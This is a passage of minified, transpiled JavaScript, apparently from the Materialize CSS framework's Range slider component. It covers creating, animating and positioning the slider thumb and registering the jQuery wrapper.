}); } $(this.thumb).removeClass('active'); } } /** * Setup dropdown */ }, { key: "_setupThumb", value: function _setupThumb() { this.thumb = document.createElement('span'); this.value = document.createElement('span'); $(this.thumb).addClass('thumb'); $(this.value).addClass('value'); $(this.thumb).append(this.value); this.$el.after(this.thumb); } /** * Remove dropdown */ }, { key: "_removeThumb", value: function _removeThumb() { $(this.thumb).remove(); } /** * morph thumb into bubble */ }, { key: "_showRangeBubble", value: function _showRangeBubble() { var paddingLeft = parseInt($(this.thumb).parent().css('padding-left')); var marginLeft = -7 + paddingLeft + 'px'; // TODO: fix magic number? anim.remove(this.thumb); anim({ targets: this.thumb, height: 30, width: 30, top: -30, marginLeft: marginLeft, duration: 300, easing: 'easeOutQuint' }); } /** * Calculate the offset of the thumb * @return {Number} offset in pixels */ }, { key: "_calcRangeOffset", value: function _calcRangeOffset() { var width = this.$el.width() - 15; var max = parseFloat(this.$el.attr('max')) || 100; // Range default max var min = parseFloat(this.$el.attr('min')) || 0; // Range default min var percent = (parseFloat(this.$el.val()) - min) / (max - min); return percent * width; } }], [{ key: "init", value: function init(els, options) { return _get(Range.__proto__ || Object.getPrototypeOf(Range), "init", this).call(this, this, els, options); } /** * Get Instance */ }, { key: "getInstance", value: function getInstance(el) { var domElem = !!el.jquery ? el[0] : el; return domElem.M_Range; } }, { key: "defaults", get: function () { return _defaults; } }]); return Range; }(Component); M.Range = Range; if (M.jQueryLoaded) { M.initializeJqueryWrapper(Range, 'range', 'M_Range'); } Range.init($('input[type=range]')); })(cash, M.anime);